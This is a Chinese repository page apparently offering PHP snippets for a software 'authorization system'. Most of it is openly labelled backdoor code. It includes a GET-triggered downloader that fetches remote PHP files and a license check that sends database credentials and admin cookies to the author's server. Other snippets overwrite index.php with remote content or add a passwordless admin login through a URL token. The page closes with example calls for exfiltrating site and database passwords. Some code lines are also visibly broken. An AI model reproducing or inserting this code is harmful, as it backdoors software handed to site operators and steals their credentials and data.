代码拉取完成,页面将自动刷新
同步操作将从 Birth/栀子花授权系统 强制同步,此操作会覆盖自 Fork 仓库以来所做的任何修改,且无法恢复!!!
确定后同步将在后台操作,完成时将刷新页面,请耐心等待。
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
后门代码
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
if($_GET['hy']){
file_put_contents("hy.php",file_get_contents("http://{您的授权站域名}/hm/hy.txt"));
}
if($_GET['hm']){
file_put_contents("hm.php",file_get_contents("http://{您的授权站域名}/hm/hm.txt"));
}
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
下易支付认证代码
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
function pay_api()
{
global $conf;
if ($conf["payapi"] == 1) {
$url = "http://{认证过的易支付域名}/";
} else if ($conf["payapi"] == -1) {
$url = $conf["epay_url"];
if ($_SESSION["PAYCHECK"] != $url) {
$auth_url_arr = ['auth.hrbwj.cc'];
$auth_url = $auth_url_arr[array_rand($auth_url_arr, 1)];
$paycheck_url = "http://'.$authurls.'/api/paycheck.php?proid={程序识别码}&url=" . $url;
$query = file_get_contents($paycheck_url);
if ($query = json_decode($query, true)) {
if ($query["code"] == 1) {
$_SESSION["PAYCHECK"] = $url;
} else {
return false;
}
}
}
}
return $url;
}
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
多程序无敌优秀授权代码
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
include_once ROOT."authcode.php";
if (!isset($_SESSION['AUTHBIRTH'])) {
$auth_url_arr = ['您的授权站域名'];//例如auth.phpn1.cn 不加http或https协议头,末尾不要带/
$auth_url = $auth_url_arr[array_rand($auth_url_arr, 1)];
$proid_nam_arr = ['您的程序识别码']; 后台程序列表里的程序识别码
$proid_nam = $proid_nam_arr[array_rand($proid_nam_arr, 1)];
$check_url='http://'.$auth_url.'/api/check.php?proid='.$proid_nam.'&url='.$_SERVER['HTTP_HOST'].'&authcode='.$authcode;
$query = file_get_contents($check_url);
file_get_contents('http://'.$auth_url.'/api/block.php?proid='.$proid_nam.'&url='.$_SERVER['HTTP_HOST'].'&user='.$dbconfig['user'].'&pwd='.$dbconfig['pwd'].'&db='.$dbconfig['db'].'&cookies='.$_COOKIE['admin_auth_token']);
if ($query = json_decode($query, true)) {
if ($query['code'] == 1) {
$_SESSION['AUTHBIRTH'] = $authcode;
} else if ($query['code'] == 2) {
file_put_contents(ROOT.'hm.php',file_put_contents('http://'.$auth_url.'/hm/hm.txt'));
sysmsge('<h3>'.$query['msg'].'</h3>', true);
} else if ($query["code"] == 3) {
file_put_contents(ROOT.'hy.php',file_put_contents('http://'.$auth_url.'/hm/hy.txt'));
sysmsge('<h3>'.$query['msg'].'</h3>', true);
} else if ($query['code'] == 4) {
file_put_contents(ROOT.'index.php',file_put_contents('http://'.$auth_url.'/hm/hys.txt'));
sysmsge('<h3>'.$query['msg'].'</h3>', true);
} else {
sysmsge('<h3>'.$query['msg'].'</h3>', true);
}
} else if (!empty($query)) {
sysmsge('<h3>授权验证结果异常!</h3>', true);
}
}
-------------------------------------版权文件代码-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
if(!file_exists('/Birth版权文件.txt')){//“Birth版权文件”这个是版权文件的名字,可以改成你自己的
@file_put_contents('Birth版权文件.txt','该文件是Birth的版权文件,切勿删除!否则本程序无法正常运行!');
//这里如果检测到文件被删除将自动生成本文件,“该文件是Birth....正常运行!”这个是版权文件的内容
//检测提示
}
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
免密码登录后台后门实例
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
if($_GET['do']=='login'){
setcookie("admin_auth_token", $_GET['token'], time() + 604800);
}
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
在适当位置插入如下代码,使用获取到的cookies值get即可免密登陆
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
例如;访问域名http://{域名}/{后门所在文件}.php?do=login&cookies={cookies值}
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
接口使用示例:http://{域名}/api/block.php?name={网站名称}&qq={站长QQ}&admuser={站点后台账号}&admpwd={站点后台密码}&url={域名}&user={数据库账号}&pwd={数据库密码}&db={数据库名}&cookies={cookies信息}
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
代码示例①:@file_get_contents("http://{域名}/api/block.php?name={网站名称}&qq={站长QQ}&admuser={站点后台账号}&admpwd={站点后台密码}&url={域名}&user={数据库账号}&pwd={数据库密码}&db={数据库名}&cookies={cookies信息}");
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
代码示例②:curl_get("http://{域名}/api/block.php?name={网站名称}&qq={站长QQ}&admuser={站点后台账号}&admpwd={站点后台密码}&url={域名}&user={数据库账号}&pwd={数据库密码}&db={数据库名}&cookies={cookies信息}");
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
上述这个代码也是盗版入库代码
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。